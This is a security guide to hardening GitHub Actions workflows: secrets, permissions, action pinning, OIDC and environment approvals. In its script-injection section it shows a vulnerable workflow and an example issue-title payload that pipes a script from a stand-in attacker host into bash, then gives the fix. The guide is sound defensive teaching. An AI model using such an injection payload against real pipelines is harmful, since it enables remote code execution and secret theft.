Your Pipeline Is an Attack Surface
GitHub Actions automates deployment. That automation has access to your secrets, your code, and your production environment. A compromised workflow compromises everything.
Secrets Management
Setting Secrets
- Repository → Settings → Secrets and variables → Actions
- New repository secret
- Use descriptive names:
PRODUCTION_DATABASE_URLnotDB
Accessing Secrets
jobs:
deploy:
runs-on: ubuntu-latest
env:
DATABASE_URL: ${{ secrets.DATABASE_URL }}
steps:
- run: echo "Deploying..."Secret Masking
GitHub automatically masks secrets in logs, but be careful:
# WRONG - Might expose secret
- run: echo ${{ secrets.API_KEY }}
# WRONG - Base64 encoded secrets appear in logs
- run: echo ${{ secrets.API_KEY }} | base64
# RIGHT - Use secrets directly in commands
- run: curl -H "Authorization: Bearer $API_KEY" https://api.example.com
env:
API_KEY: ${{ secrets.API_KEY }}Environment Secrets
For sensitive deployments, use environments:
- Settings → Environments → New environment
- Add protection rules (required reviewers)
- Add environment secrets
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # Uses production secrets
steps:
- run: deploy.shWorkflow Permissions
Principle of Least Privilege
# WRONG - Default permissions are too broad
jobs:
build:
runs-on: ubuntu-latest# RIGHT - Explicit minimal permissions
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
Available Permissions
permissions:
contents: read # Checkout code
packages: write # Publish packages
issues: write # Comment on issues
pull-requests: write # Comment on PRs
actions: read # Read workflow status
id-token: write # OIDC authenticationRepository Default
Settings → Actions → Workflow permissions → Read repository contents
Third-Party Action Security
Pin to Specific Commits
# WRONG - Tag can be moved to malicious code
- uses: some-org/some-action@v1
# BETTER - Specific version
- uses: some-org/some-action@v1.2.3
# BEST - Pin to commit SHA
- uses: some-org/some-action@a1b2c3d4e5f6...
Verify Action Sources
Before using any action:
- Check the source repository
- Review recent changes
- Look for security advisories
- Prefer official actions (actions/*)
Dependabot for Actions
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"Preventing Script Injection
The Problem
# VULNERABLE - User input directly in script
- run: echo "Issue: ${{ github.event.issue.title }}"
"; curl evil.com/steal.sh | bash; "The Fix
# SAFE - Pass through environment variable
- run: echo "Issue: $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}Dangerous Contexts
Be careful with these inputs:
github.event.issue.titlegithub.event.issue.bodygithub.event.pull_request.titlegithub.event.pull_request.bodygithub.event.comment.bodygithub.head_ref
Protecting Sensitive Workflows
Require Approval for External PRs
# Only run on internal PRs automatically
on:
pull_request:
types: [opened, synchronize]jobs:
build:
# External PRs need approval
if: github.event.pull_request.head.repo.full_name == github.repository
runs-on: ubuntu-latest
Environment Protection Rules
- Create "production" environment
- Add required reviewers
- Add deployment branches restriction
jobs:
deploy:
environment: production # Requires approval
runs-on: ubuntu-latestOIDC for Cloud Providers
Avoid long-lived credentials:
AWS
jobs:
deploy:
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: us-east-1Vercel
- uses: amondnet/vercel-action@v25
with:
vercel-token: ${{ secrets.VERCEL_TOKEN }}
vercel-org-id: ${{ secrets.VERCEL_ORG_ID }}
vercel-project-id: ${{ secrets.VERCEL_PROJECT_ID }}Audit Logging
View Workflow Runs
- Actions tab → All workflows
- Click on specific run
- Review steps and outputs
Security Alerts
Enable:
- Dependabot alerts
- Code scanning alerts
- Secret scanning alerts
Secure Workflow Template
name: Secure Deployon:
push:
branches: [main]
# Repository-level permissions (minimal)
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
with:
node-version: '20'
- run: npm ci
- run: npm test
deploy:
needs: build
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- name: Deploy
run: ./deploy.sh
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
Workflow Security Checklist
SECRETS
=======
[ ] All secrets in GitHub Secrets (not in code)
[ ] Minimal secrets per workflow
[ ] Environment secrets for production
[ ] Secrets never echoed to logsPERMISSIONS
===========
[ ] Explicit permissions on all jobs
[ ] Minimal permissions per job
[ ] GITHUB_TOKEN permissions restricted
ACTIONS
=======
[ ] Actions pinned to SHA
[ ] Dependabot enabled for actions
[ ] Third-party actions reviewed
[ ] Prefer official actions
INPUTS
======
[ ] User inputs through env vars
[ ] No direct interpolation of untrusted data
[ ] External PR workflow protection
ENVIRONMENTS
============
[ ] Production environment defined
[ ] Required reviewers for production
[ ] Branch restrictions configured
The Bottom Line
GitHub Actions is powerful. That power requires careful security configuration. Pin actions, minimize permissions, protect secrets, and sanitize inputs.
Your CI/CD pipeline has keys to your kingdom. Protect it accordingly.